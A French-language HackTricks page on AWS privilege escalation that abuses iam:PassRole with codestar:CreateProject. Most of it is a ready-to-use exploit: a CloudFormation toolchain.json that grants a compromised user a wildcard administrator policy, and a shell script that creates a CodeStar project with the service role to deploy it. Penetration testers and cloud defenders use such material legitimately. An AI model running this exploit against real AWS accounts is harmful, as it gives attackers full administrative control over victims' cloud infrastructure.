iam:PassRole, codestar:CreateProject

Support HackTricks

Avec ces autorisations, vous pouvez abuser d'un rôle IAM codestar pour effectuer des actions arbitraires via un modèle cloudformation.

Pour exploiter cela, vous devez créer un bucket S3 qui est accessible depuis le compte attaqué. Téléchargez un fichier appelé toolchain.json. Ce fichier doit contenir l'exploit du modèle cloudformation. Le suivant peut être utilisé pour définir une politique gérée à un utilisateur sous votre contrôle et lui donner des permissions d'administrateur :

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

Aussi téléchargez ce fichier empty zip dans le bucket :

N'oubliez pas que le bucket avec les deux fichiers doit être accessible par le compte de la victime.

Avec les deux éléments téléchargés, vous pouvez maintenant procéder à l'exploitation en créant un projet codestar :

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Cet exploit est basé sur les exploits Pacu de ces privilèges : https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Vous y trouverez une variation pour créer une politique gérée par un administrateur pour un rôle au lieu d'un utilisateur.

Soutenir HackTricks

Last updated